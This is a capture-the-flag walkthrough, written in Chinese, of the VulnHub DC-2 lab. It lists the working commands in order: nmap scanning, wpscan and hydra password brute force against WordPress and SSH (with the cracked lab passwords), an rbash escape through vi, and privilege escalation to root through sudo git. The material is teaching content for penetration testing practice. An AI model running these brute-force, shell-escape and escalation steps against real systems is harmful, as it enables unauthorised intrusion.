总结:
nmap:探测存活主机、扫描开放的端口
域名解析:修改hosts文件
nikto:扫描网站结构
wpscan:扫描网站,获取可以登录网站的用户名;爆破可以登录用户的密码
cewl:生成密码字典
hydra:ssh登录密码爆破
vi提权:
用vi的:set shell=/bin/bash
: shell
之后 export -p 查看发现PATH变量可以写入
export PATH=$PATH:/bin/
git提权:
sudo git -p –-help
sudo git help config后输入!/bin/bash可成功提权
相关知识:
wordpress
wpscan
cewl
rbash
靶机详情
靶机地址:https://www.vulnhub.com/entry/dc-2,311/
靶机描述:靶机DC-2与DC-1一样,共有5个flag,但最终需要root权限才可以找到并查看flag
与 DC-1 非常相似,DC-2 是另一个专门建造的易受攻击的实验室,目的是在渗透测试领域获得经验。
与最初的 DC-1 一样,它的设计考虑到了初学者。
必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。
就像 DC-1 一样,有五个标志,包括最终标志。
再一次,就像 DC-1 一样,标志对初学者很重要,但对有经验的人来说并不那么重要。
简而言之,唯一真正重要的标志是最终标志。
对于初学者,谷歌是你的朋友。好吧,除了所有隐私问题等等。
我还没有探索获得 root 的所有方法,因为我放弃了我一直在研究的以前的版本,并且除了基本的操作系统安装之外完全重新开始。
靶机练习
1、nmap -sP 192.168.77.0/24探测存活主机
130是kali,因此靶机IP为133
2、nmap扫描端口
nmap -A -T4 -p- 192.168.77.133
发现80(http)、7744(ssh)端口
浏览器访问http://192.168.220.133,发现无法正常访问页面,但在url地址栏会有http://dc-2域名提示,发现问题是本地无法解析域名dc-2
编辑/etc/hosts文件,添加靶机IP地址及对应域名:192.168.77.133 dc-2
由于我是在windows上打开的浏览器,因此需修改C:\Windows\System32\drivers\etc下的hosts文件
flag1
修改后,可以正常访问网页信息,并能在Flag页面找到flag1
提示使用cewl密码字典生成工具,并且在登录后可以找到下一个flag
下拉在页面下方可以看的 这是一个wordpress站点
flag1提示可以登录,但正常访问网页无法找到登录页面,所以使用nikto工具扫描网站结构,找到wp-login.php登录页面
nikto -h dc-2 -o nikto-dc2.txt
cat dc-2.nikto
访问登录页面:http://dc-2/wp-login.php
一般WordPress网站都会有admin用户,但需要爆破密码
使用wpscan工具扫描网站,获取可以登录网站的用户名,扫描后可以找到三个用户名:admin、tom、jerry
wpscan --url dc-2 -e u
将扫描到的三个用户名添加到dc-2users.list
使用flag1中提示的工具cewl生成密码字典dc-2pass.dic
cewl dc-2 -w dc-2.dic
使用wpscan工具爆破可以登录用户的密码,可成功爆破tom和jerry用户
wpscan --url dc-2 -U dc-2users.list -P dc-2.dic
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
flag2
使用jerry登录后找到flag2
If you can’t exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
如果你不能利用WordPress并抄近路,还有别的办法。
希望你能找到另一个切入点。
Flag2提示从另外一个方向切入,所以80端口切入失败,这时用到另外一个7744(ssh)端口
使用hydra工具使用已生成的密码字典对已知的用户名进行ssh登录密码爆破,获得ssh登录用户:tom / parturient
hydra -L dc-2users.list -P dc-2.dic 192.168.220.132 ssh -s 7744
使用tom用户ssh登录
ssh tom@192.168.220.132 -p 7744
cat flag3
rbash(restricted bash),即受限制的 bash。其可以用作中转服务器,或者仅使用 ssh 来访问网页等等。
flag3
vi flag3.txt
tom权限受限,只能使用less、ls、scp、vi命令,无法直接使用su命令切换用户
用vi的:set shell=/bin/bash
: shell
之后 export -p 查看发现PATH变量可以写入
export PATH=$PATH:/bin/
这样就可以使用全部命令了,查看/etc/passwd发现除了tom还有jerry,利用之前得到的信息切换jerry看看
flag4
找到flag4
提示使用git命令提权
sudo -l #查看可以使用root权限无密码的命令,有git命令
sudo git -p –-help #提权
sudo git help config后输入!/bin/bash可成功提权
可参考:https://www.cnblogs.com/zaqzzz/p/12075132.html
final-flag
root家目录下找到最后的flag